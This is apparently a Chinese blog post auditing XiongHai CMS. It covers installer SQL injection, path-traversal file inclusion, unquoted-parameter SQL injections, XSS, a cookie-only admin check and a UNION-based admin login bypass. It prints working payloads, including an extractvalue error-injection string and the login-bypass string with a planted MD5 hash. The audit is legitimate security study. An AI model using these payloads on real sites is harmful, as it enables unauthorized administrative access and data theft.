熊海CMS代码审计

熊海CMS代码审计

CMS目录结构分析

我们首先可以使用window下自带的tree命令生成文件目录。

熊海CMS代码审计_第1张图片

我们使用命令,生成目录文件。

tree /f>tree.txt

我们分析主目录文件的功能:

——admin     //后台文件
——css      	//css文件
——files    //功能函数文件
——images   //图片
——index.php //主目录文件
——install 	//安装文件
——seacmseditor  //编辑器
——template      //模板文件
——upload 	//文件上传目录

我们使用RIPS或SEAY进行扫描。

熊海CMS代码审计_第2张图片

一、安装流程中存在SQL注入

漏洞位置:/install/index.php

RIPS审计出现sql注入,跟进文件比对审计结果。

熊海CMS代码审计_第3张图片

通读代码发现代码逻辑如下:

1.检测是否生成了InstallLock.txt文件

2.执行sql语句

审计发现这里sql语句确实没有经过过滤,直接插入update的sql语句,导致sql注入。

熊海CMS代码审计_第4张图片

漏洞演示:

payload:

1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#

1.根据源码可知,我们首先需要删除安装目录下的installLock.txt文件(如果网站上存在一个任意文件删除漏洞)

熊海CMS代码审计_第5张图片

2.删除后我们重新进入安装界面。
熊海CMS代码审计_第6张图片

在管理账号一栏输入我们的payload,也就是我们常见的报错注入方法,

之后我们提交:
熊海CMS代码审计_第7张图片

发现在修改错误一栏发现爆出我们的Mysql版本,证明漏洞存在。

二、主目录存在文件包含

跟进文件


//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

代码逻辑大概为,通过GET型传参传入r,并将值经过一个addslashes()函数操作,然后一个三元运算符判断要载入的文件,直接进入include函数包含。

include('files/'.$action.'.php');这条语句包含了file目录下的文件。

语法为:条件表达式?表达式1:表达式2

问号前面的位置是判断的条件,判断结果为bool型,为true是调用表达式1,为false时调用表达式2.

由代码逻辑可知,代码限制了我们访问的目录为file。

**Bypass:**可用../进行目录跳转。

漏洞演示

我们首先在cms根目录下新建一个phpinfo文件
熊海CMS代码审计_第8张图片

然后我们在本地访问index.php添加如下参数。即可正确解析phpinfo界面
熊海CMS代码审计_第9张图片
因为此处代码会自动在文件名后添加.php,所以我们添加后缀名,否则无法正常解析。

三、前台多处SQL注入

结合RIPS扫描结果可发现多处sql注入漏洞,该CMS采用过滤方式大多是通过addslashes()函数过滤。
熊海CMS代码审计_第10张图片

单纯使用addslashes()函数会造成两个问题:

  1. 是否采用GBK(宽字节注入)
  2. sql语句是否采用了单引号闭合。
software.php

漏洞位置:files/software.php第13行,where后字句忘记加单引号保护。

$query = "UPDATE download SET hit = hit+1 WHERE id=$id";

熊海CMS代码审计_第11张图片

content.php

漏洞位置:files/content.php第19行,where后字句忘记加单引号保护。

$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
submit.php

首先可看见 过滤和传参

$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
if ($tz==""){$tz=0;}
$jz=$_POST['jz'];

只对type参数进行了过滤,因此其他参数涉及到sql语句的可能存在sql注入。

漏洞位置:files/submit.php第66行

$query = "SELECT * FROM interaction WHERE( mail = '$mail')";

漏洞位置:files/submit.php 第121-147行

$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";

漏洞位置:files/submit.php 第176行

$query = "SELECT * FROM content WHERE( id= $cid)";

漏洞位置:files/submit.php 第206行

$query = "SELECT * FROM download WHERE( id= $cid)";

四、XSS漏洞


反射型XSS

漏洞位置:files/contact.php 第12~15行

熊海CMS代码审计_第12张图片

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";

经过一次addslashes函数处理就直接带入页面。

我们访问网址的联系功能,找到了代码对于的page参数,其实就是留言列表的页数。
熊海CMS代码审计_第13张图片

我们尝试插入一个简单XSS payload

page=

熊海CMS代码审计_第14张图片

漏洞利用成功。

存储型XSS

漏洞位置:files/content.php

    回复 #
    认证站长
  • 位置:
  • 时间:
  • 来自:

这里是从$pinglun这个变量中取出其中的信息,随后插入存储信息的interaction

/files/submit.php中将content内容给过滤。

$content=addslashes(strip_tags($content));	//过滤HTML

在评论处可以提交昵称、邮箱、网址、评论内容,但是显示评论和留言的地方有昵称,所以只有昵称处有存储型XSS。

五、越权

漏洞位置:inc/checklogin.php


该处的代码逻辑存在问题,直接从COOKIE处赋值给$user

如果 $user为空就跳转至登录界面

反之如果不为空就可以访问,因此存在越权访问。

漏洞利用:

我们首先从admin中进入使用之前的账号登录后台。然后找到一个发布内容的页面:参数为?r=newwz

熊海CMS代码审计_第15张图片

之后我们退出登录,回到登录界面。查看页面的cookie

熊海CMS代码审计_第16张图片

发现在cookie里确实没有user值,我们尝试直接跳转刚才登录后的发布页面,发现会自动跳转到登录界面。

根据代码逻辑,我们可以尝试在cookie中添加一个user,因为代码没有判断user的具体值,所以填入任意数值即可。
熊海CMS代码审计_第17张图片

我们在尝试跳转页面,
熊海CMS代码审计_第18张图片

发现没有登录,我们也成功进入了后台页面。

六、后台万能密码登录


漏洞位置:admin/files/login.php

""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "";
exit;	
	}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "";
exit;
}
exit;
ob_end_flush();
}
?>

万能密码登录有两个点:

1.user未经过过滤直接拼接进入数据库查询

2.password的md5对比可绕过

payload:

user:1' union select 1,2,'p2hm1n','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1

md5(1)=c4ca4238a0b923820dcc509a6f75849b

我们进入后台,在账号一栏中填入payload,密码输入mad5加密的1即可成功登录。

熊海CMS代码审计_第19张图片
熊海CMS代码审计_第20张图片

漏洞分析

我们登录我们的mysql数据库,查询xhcms库下的manage表

熊海CMS代码审计_第21张图片

我们使用联合查询的方法,发现结果在数据库下添加一行新的参数,而添加的值我们是可控的。

所以我们的payload就是通过传入新的md5加密后的password,从而达到绕过验证,直接登录的目的。

if(md5($password)<>$passwords){
echo "";

成功登录。

你可能感兴趣的:(PHP代码审计)